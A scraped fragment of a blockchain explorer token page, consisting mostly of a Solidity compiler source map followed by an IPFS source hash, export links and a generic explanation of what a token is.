1;4703:31;4757:4;4754:1;4747:15;4785:4;4782:1;4775:15;4668:132;-1:-1:-1;4814:9:1;;4612:217::o;4834:125::-;4899:9;;;4920:10;;;4917:36;;;4933:18;;:::i;4964:127::-;5025:10;5020:3;5016:20;5013:1;5006:31;5056:4;5053:1;5046:15;5080:4;5077:1;5070:15;5096:127;5157:10;5152:3;5148:20;5145:1;5138:31;5188:4;5185:1;5178:15;5212:4;5209:1;5202:15;5577:168;5650:9;;;5681;;5698:15;;;5692:22;;5678:37;5668:71;;5719:18;;:::i;5882:251::-;5952:6;6005:2;5993:9;5984:7;5980:23;5976:32;5973:52;;;6021:1;6018;6011:12;5973:52;6053:9;6047:16;6072:31;6097:5;6072:31;:::i;6138:980::-;6400:4;6448:3;6437:9;6433:19;6479:6;6468:9;6461:25;6505:2;6543:6;6538:2;6527:9;6523:18;6516:34;6586:3;6581:2;6570:9;6566:18;6559:31;6610:6;6645;6639:13;6676:6;6668;6661:22;6714:3;6703:9;6699:19;6692:26;;6753:2;6745:6;6741:15;6727:29;;6774:1;6784:195;6798:6;6795:1;6792:13;6784:195;;;6863:13;;-1:-1:-1;;;;;6859:39:1;6847:52;;6954:15;;;;6919:12;;;;6895:1;6813:9;6784:195;;;-1:-1:-1;;;;;;;7035:32:1;;;;7030:2;7015:18;;7008:60;-1:-1:-1;;;7099:3:1;7084:19;7077:35;6996:3;6138:980;-1:-1:-1;;;6138:980:1:o;7735:306::-;7823:6;7831;7839;7892:2;7880:9;7871:7;7867:23;7863:32;7860:52;;;7908:1;7905;7898:12;7860:52;7937:9;7931:16;7921:26;;7987:2;7976:9;7972:18;7966:25;7956:35;;8031:2;8020:9;8016:18;8010:25;8000:35;;7735:306;;;;;:::o

Swarm Source

ipfs://d0445ed3dad158539938ac7c37ab3e18a81e2cb216dc43efe6d09a37f8ac7575
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.